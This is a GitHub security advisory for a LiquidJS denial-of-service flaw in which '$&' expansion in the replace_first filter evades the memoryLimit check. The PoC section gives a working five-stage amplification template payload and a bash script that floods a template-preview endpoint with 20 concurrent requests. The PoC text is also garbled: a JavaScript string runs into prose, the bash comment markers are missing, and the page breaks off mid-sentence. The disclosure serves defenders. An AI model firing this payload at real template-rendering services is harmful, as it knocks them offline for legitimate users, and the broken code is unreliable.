GitHub Advisoryadvisory · npm
GHSA-6q5m-63h6-5x4v LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern
HIGH
Official page ↗
- Aliases
- CVE-2026-33287
- Ecosystem
- npm
- Packages
- liquidjs
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-20, CWE-400
- Reviewed
- 2026-03-25
Affected packages
• npm liquidjs: < 10.25.1 → fixed in 10.25.1
Description
Summary
The `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service.
Details
The `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replacement patterns including `$&` (insert the matched substring), `$'` (insert the portion after the match), and `` $` `` (insert the portion before the match).
The filter calls `memoryLimit.use(str.length)` to account for the input string's memory cost, but the output string — potentially many times larger due to `$&` expansion — is never charged against the memory limit.
An attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$&`. Each `$&` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.
By chaining this technique across multiple variable assignments, exponential amplification is achieved:
| Stage | Input Size | `$&` Repetitions | Output Size | Cumulative `memoryLimit` Charge |
|-------|-----------|-------------------|-------------|-------------------------------|
| 1 | 1 byte | 50 | 50 bytes | ~1 byte |
| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |
| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |
| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |
| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |
Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`).
Notably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$&` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected.
```typescript
// src/builtin/filters/string.ts:130-133 — VULNERABLE
export function replace_first (v: string, arg1: string, arg2: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length) // Only charges input
return str.replace(stringify(arg1), arg2) // $& expansion uncharged!
}
// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)
export function replace (v: string, arg1: string, arg2: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length)
return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal
}
```
PoC
Prerequisites:
• `npm install [email protected]`
• An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)
Save the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`:
```javascript
const { Liquid } = require('liquidjs');
(async () => {
const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Verify $& expansion in replace_first
console.log('=== Step 1: $& expansion in replace_first ===');
const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
console.log('Result:', await engine.parseAndRender(step1));
// Output: "HELLO-HELLO-HELLO" — $& expanded to matched string
// Step 2 — Verify replace (split/join) is safe
console.log('\n=== Step 2: replace is safe ===');
const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
console.log('Result:', await engine.parseAndRender(step2));
// Output: "$&$&$&" — $& treated as literal
// Step 3 — 5-stage exponential amplification (50x per stage)
console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
const amp50 = '$&'.repeat(50);
const step3 = [
'{% assign s = "A" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{{ s | size }}'
].join('');
const startMem = process.memoryUsage().heapUsed;
const result = await engine.parseAndRender(step3);
const endMem = process.memoryUsage().heapUsed;
console.log('Output string size:', result.trim(), 'bytes'); // "312500000"
console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
console.log('memoryLimit charged: `$&` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.
```bash
!/bin/bash
DoS demonstration: 20 concurrent attacks + legitimate user latency measurement
DOLLAR='$&'
REP50=$(printf "${DOLLAR}%.0s" {1..50})
PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"
echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="
20 DoS attack requests (per-request timing)
for i in $(seq 1 20); do
(
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 120 -X POST "http:///newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=$PAYLOAD"
t2=$(date +%s%3N)
echo "DoS[$i]: $(( t2 - t1 ))ms"
) &
done
Legitimate user requests at 0s, 3s, 6s
(
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 60 -X POST "http:///newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=Hello"
t2=$(date +%s%3N)
echo "Normal[0s]: $(( t2 - t1 ))ms"
) &
(
sleep 3
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 60 -X POST "http:///newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=Hello"
t2=$(date +%s%3N)
echo "Normal[3s]: $(( t2 - t1 ))ms"
) &
(
sleep 6
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 60 -X POST "http:///newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=Hello"
t2=$(date +%s%3N)
echo "Normal[6s]: $(( t2 - t1 ))ms"
) &
wait
echo "=== Done ==="
```
Empirical results (No…
Related
Alias · CVE (1)
- CVE-2026-33287 LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. vulnerability
References
- https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v web
- https://nvd.nist.gov/vuln/detail/CVE-2026-33287 advisory
- https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d web
- https://github.com/harttle/liquidjs package
- https://github.com/harttle/liquidjs/blob/v10.25.1/CHANGELOG.md web
- https://github.com/harttle/liquidjs/releases/tag/v10.25.1 web